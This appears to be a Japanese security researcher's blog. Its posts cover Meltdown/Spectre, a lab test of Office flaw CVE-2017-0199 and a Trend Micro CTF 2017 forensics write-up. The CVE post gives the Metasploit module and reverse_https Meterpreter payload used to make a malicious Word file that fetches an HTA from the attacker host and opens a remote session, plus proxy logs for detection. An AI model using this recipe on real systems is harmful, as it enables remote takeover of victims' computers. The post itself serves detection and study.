Laboratory for IT security administrator 世間を賑わせているCPUの脆弱性「Meltdown」、「Spectre」で具体的にどのような影響があるのか情報が錯そうしておりましたが、論文などを読み込み、現実的な攻撃シナリオを添付ファイルのとおり整理してみました。
間違っている部分があれば、ご指摘ください・・・。（ご指摘いただく場合は、一次情報を読み込んだうえでお願いいたします。）
なお、本当は技術的詳細をもっと丁寧に記載すべきですが、論文などを読み込むだけで力尽きてしまいましたのでご容赦ください（汗）
2018年02月01日
CPUの脆弱性MeltdownとSpectreの影響分析
posted by やまと at 00:02| Comment(0)
| 実験日誌
2017年07月02日
Microsoft Office/WordPadの脆弱性CVE-2017-0199を検証してみた。
2017年6月27日にウクライナなど世界各地でランサムウェア「petya（ペトヤまたはペチャ）」の感染被害が発生しました。初期感染経路に関する情報は輻輳しておりますが、いくつかのセキュリティベンダーからは、2017年4月に公開された脆弱性CVE-2017-0199が悪用されたとの情報もあります。
この説が本当だとすると、不審メールの開封や改ざんされたウェブサイトの閲覧により感染することになり、国内においても被害の発生が懸念されます。 そこで、CVE-2017-0199による攻撃発生時にどのような特徴があるのか、また、ログなどから検知できないのか検証してみました。
検証環境
［ソフトウェア］
・攻撃PC：Debian8, Metasploit Framework ver.4.14.28-dev
・被害PC：Windows7 Professional SP1 64bit, Microsoft Office2010 SP2 32bit
［ネットワーク構成］
攻撃PC(192.168.15.10)
│
Firewall(192.168.15.100/192.168.100.100)
├ Proxy(192.168.100.50)
Firewall(192.168.15.101/172.16.0.100)
│
被害PC（172.16.0.130）
検証手順
(1)攻撃PCにてmsfconsoleを起動し、エクスプロイトを実行
exploit: windows/fileformat/office_word_htapayload: windows/meterpreter/reverse_https
(2)上記コマンドにて作成された攻撃用ファイル「msf.doc」を被害PCに移動
(3)被害PC上で「msf.doc」をWORDにて開封
検証結果
(1) 検証手順(3)によりWORD文書を開封すると、「この文書は、他のファイルへのリンクが含まれています。リンクされたファイルのデータでこの文書を更新しますか？」というダイアログメッセージが表示されました。
(2)ダイアログメッセージには、「はい」、「いいえ」、「ヘルプ」の３種類のボタンがありますが、何も操作しなくとも、バックグラウンドで攻撃PCにHTTP接続し、HTAファイルがダウンロードされ実行されました。
(3)HTAファイルの実行により、攻撃PCにmeterpreterセッションが確立され、遠隔操作に成功しました。
［補足］
・「msf.doc」をメールに添付した状態で開封するなど、WORDが「保護されたビュー」で起動した場合は、攻撃が発動しません。ただし、「編集を有効にする」をクリックすると攻撃が発動します。
・Windows7 Home Edition 32bit版にて同様の検証をしたところ、何故か攻撃が成功しませんでした。（原因は不明）
攻撃発生時の特徴
・プロキシログに「hta」ファイルのアクセスログが残ります。なお、ユーザーエージェントはInternet Explorer（デフォルトブラウザ）のものが記録されます。
［攻撃時プロキシログ］#cat /var/log/squid/access.log 02/Jul/2017:22:34:11 +0900.388 4472 172.16.0.130 TCP_MISS/200 6902 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 02/Jul/2017:22:34:11 +0900.825 139 172.16.0.130 TCP_MISS/200 6850 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 02/Jul/2017:22:34:16 +0900.365 3349 172.16.0.130 TCP_MISS/200 962300 CONNECT 192.168.15.10:443 - DIRECT/192.168.15.10 - "-"
※１〜２行目のログが記録されたとしても、脆弱性攻撃が成功したとは限らない。
感想
・セキュリティパッチを適用することが最善策なのですが、何らかの理由により適用が困難な場合は、プロキシサーバなどでContent-Type「application/hta」を遮断することで、脆弱性攻撃を緩和できるかもしれないと感じました。（私の環境では、通常のブラウジングでHTAファイルにアクセスすることがないため、対策による影響も小さいのかなと思っています。）
posted by やまと at 23:37| Comment(3)
| 実験日誌
2017年06月25日
Trend Micro CTF 2017 writeup
6月24日（土）13:00から6月25日（日）13:00にかけて、Trend Micro CTF 2017が開催されました。
今回はいろいろと用事があったため、チームでは参加しませんでした。後日の練習用に問題だけダウンロードしようと思い、今朝ほどスコアサーバにアクセスしたのですが、問題をみるとやはり挑戦したくなります。短い時間でしたが、3問解くことができて楽しかったです。取り急ぎ、簡単なwriteupを書きます。
Forensic100
［問題の概要］
パソコンに感染したマルウェアの不審な通信（PCAPファイル）を解析し、流出した情報を特定する問題。
［解き方］
PCAPファイルをWiresharkで見てみると、不審なDNSクエリが大量に発生していることが分かります。
DNSクエリのホスト名部分に、暗号化した情報を埋め込まれている可能性が高そうです。まずはDNSクエリを抽出します。本当はPythonで必要な情報のみ抽出するとカッコイイのですが、ヘタレなので、WiresharkからCSV形式で抽出した文字列をエクセル関数で加工し、DNSクエリのホスト名部分だけ取り出しました。
暗号化されている情報は全てASCII文字列なので、Base64でエンコードされているかもしれないと思いつきます。しかし、Base64であれば記号が含まれそうなものですが、記号は見当たりません。念のため、Base64によるデコードも試してみますが、やはり上手くいきませんでした。
暗号化されている文字列は、アルファベット（大文字、小文字）と数字で構成されているようです。Base64のほかに何か無いかと調べていたら、Base58というエンコード方式があることが分かりました。Base58は、Base64で利用する文字列から記号、および見た目が紛らわしい文字（大文字O（オー）と数字の0（ゼロ）など）を取り除いたエンコード方式です。
ググったら、Base58に対応したPythonスクリプトが見つかったので、デコードすると、英文テキストが現れ、末尾にフラグが書かれていました。
Base58（英語）
https://pypi.python.org/pypi/base58/0.2.4
フラグ： TMCTF{DNSTunnelExfil}
Forensic200
［問題の概要］
マルウェアに感染したパソコンのメモリイメージを解析し、悪意のある挙動の痕跡（インディケータ）を特定する問題
［解き方］
メモリ解析といえば、まずは黙ってVolatility。
volat -f VictimMemory.img --kdbg=0x8333ec28 --profile=Win7SP1x86_23418 c:\work>volat -f VictimMemory.img imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (C:\work\VictimMemory.img) PAE type : PAE DTB : 0x185000L KDBG : 0x8333ec28L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x8333fc00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2017-04-11 02:35:28 UTC+0000 Image local date and time : 2017-04-11 11:35:28 +0900 c:\work>
利用するプロファイル名（Win7SP1x86_23418）と、KDBG（0x8333ec28）を特定できました。次に不審な通信が発生していないか確認しようと思いましたが、conscanはエラー・・・（補足:netscanを利用すべきでしたが、勘違い）。不審なプロセスが存在しないか、pstreeで確認してみます。
c:\work>volat -f VictimMemory.img --kdbg=0x8333ec28 --profile=Win7SP1x86_23418 pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0x89d8a530:wininit.exe 412 344 3 78 2017-04-11 02:27:45 UTC+0000 . 0x88a0c030:lsass.exe 516 412 7 547 2017-04-11 02:27:48 UTC+0000 . 0x88a056d8:services.exe 508 412 7 220 2017-04-11 02:27:47 UTC+0000 .. 0x869fa6c0:VSSVC.exe 2304 508 12 194 2017-04-11 02:33:08 UTC+0000 .. 0x89d6b030:mscorsvw.exe 3096 508 6 74 2017-04-11 02:30:34 UTC+0000 （中略） 0x89da3530:winlogon.exe 444 396 3 114 2017-04-11 02:27:45 UTC+0000 0x88bbaab8:explorer.exe 940 356 31 865 2017-04-11 02:28:23 UTC+0000 . 0x8691c030:cmd.exe 4080 940 1 20 2017-04-11 02:32:02 UTC+0000 .. 0x88abfa78:svchost.exe 3828 4080 1 7 2017-04-11 02:35:18 UTC+0000 . 0x88bca030:vmtoolsd.exe 2216 940 6 191 2017-04-11 02:28:51 UTC+0000 c:\work>
露骨に怪しいsvchost.exeがあります。もう絶対コレでしょと確信。svchost.exeは、cmd.exeから起動されているため、どのように起動されたのかconsolesで調べます。
c:\work>volat -f VictimMemory.img --kdbg=0x8333ec28 --profile=Win7SP1x86_23418 consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: conhost.exe Pid: 1868 Console: 0xfd81c0 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: %SystemRoot%\system32\cmd.exe Title: C:\Windows\system32\cmd.exe - svchost.exe 1.tmp 0x0 1 AttachedProcess: svchost.exe Pid: 3828 Handle: 0x190 AttachedProcess: cmd.exe Pid: 4080 Handle: 0x58 ---- CommandHistory: 0x31e818 Application: svchost.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x190 ---- CommandHistory: 0x33a338 Application: cmd.exe Flags: Allocated, Reset CommandCount: 2 LastAdded: 1 LastDisplayed: 1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x58 Cmd #0 at 0x33a700: cd %temp% Cmd #1 at 0x2d3b38: svchost.exe 1.tmp 0x0 1 ---- Screen 0x2d7f00 X:80 Y:300 Dump: c:\work>
カレントディレクトリを「%temp%」（Windows7では、各ユーザープロファイルフォルダ内のAppdata\Local\Tempフォルダ）に変更した後、svchost.exeの引数として、「1.tmp」という不審ファイルを指定しているようです。
1.tmpが存在しているか、filescanで確認します。また、svchost.exeも偽物の可能性が高いため、パスを確認します。
c:\work>volat -f VictimMemory.img --kdbg=0x8333ec28 --profile=Win7SP1x86_23418 filescan Volatility Foundation Volatility Framework 2.6 Offset(P) #Ptr #Hnd Access Name ------------------ ------ ------ ------ ---- 0x0000000000026038 2 1 RW-r-- \Device\HarddiskVolume1\Windows\ServiceProfiles\LocalService\NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms 0x000000000016e038 3 0 R--r-d \Device\HarddiskVolume1\Windows\System32\AudioEng.dll （以下、注目すべき個所のみ抜粋） 0x000000000b3f2588 8 0 R--r-d \Device\HarddiskVolume1\Windows\System32\svchost.exe 0x000000000f26fa68 2 0 R--r-- \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\svchost.exe 0x000000000a0c07c0 10 1 R--rw- \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp
やはりsvchost.exeは偽物でした。また、1.tmpも存在しているようです。これら２つのファイルを抽出します。
c:\work>volat -f VictimMemory.img --kdbg=0x8333ec28 --profile=Win7SP1x86_23418 procdump --pid=3828 -D proc\ Volatility Foundation Volatility Framework 2.6 Process(V) ImageBase Name Result ---------- ---------- -------------------- ------ 0x88abfa78 0x00ed0000 svchost.exe OK: executable.3828.exe c:\work> c:\work>volat -f VictimMemory.img --kdbg=0x8333ec28 --profile=Win7SP1x86_23418 dumpfiles --name -D dumpfiles\ -r Temp\\1.tmp$ Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x88bb47c0 3828 \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp SharedCacheMap 0x88bb47c0 3828 \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp c:\work>
バイナリエディタで1.tmpを確認したところ、冒頭に0x90が続いており、シェルコードっぽい雰囲気です。
まずは、仮想マシンのなかで、取り出した２つのファイルをconsolesで確認した手順のとおりに実行し、動的解析してみます。
C:\Windows\System32>cd %temp% C:\Users\Student\AppData\Local\Temp>svchost.exe 1.tmp 0x0 1 file name is 1.tmp offset is 0 Createthread successful! C:\Users\Student\AppData\Local\Temp>
Process Moniter、RegShotなどを活用し、ネットワーク通信、レジストリ、ファイル作成状況などを確認しますが、問題文にあったような「悪意のあるインディケータ」らしきものは見つかりません。なんとなく、理不尽問題の予感・・・。
続いて、偽svchost.exeと、1.tmpをIDAで逆アセンブルしてみたところ、偽svchost.exeは、1.tmpのデータをメモリに展開し、CreateThread関数でコードとして実行するようです。1.tmpのコードを静的解析すれば良さそうな気もしますが、時間も無いので、OllyDbgでコードを実行してみたところ、1.tmpのスレッド内でフラグが復号されていました。ちなみに、このフラグは画面やファイルに出力されず、メモリにしか存在しないため、リバースエンジニアリングしないと発見できません・・・。
個人的な感想ですが、問題の難易度はともかく、フォレンジック問題として「悪意のあるインディケーターを探せ」と言うのであれば、ファイルのハッシュ、不審な通信先、レジストリの痕跡などをフラグにしたほうが適切なのでは、と思ってしまいました。
フラグ： TMCTF{static_analyzer}
Reversing100
［問題の概要］
問題ファイルのJPGファイルに埋め込まれているZIPを抽出したり、PE形式の実行プログラムをリバースエンジニアリングしてメモリに展開されたフラグ文字列を抽出したりする問題。
［解き方］
とにかくやるだけです・・・。ちなみに、解いた人にはわかると思いますが「シュークリームじゃなくて、クリームシューって呼ぶのかー。お洒落だなぁ」→ハズレという流れで少し理不尽な思いをさせられます 笑
フラグ：TMCTF{choux_cream}
posted by やまと at 15:13| Comment(0)
| CTF
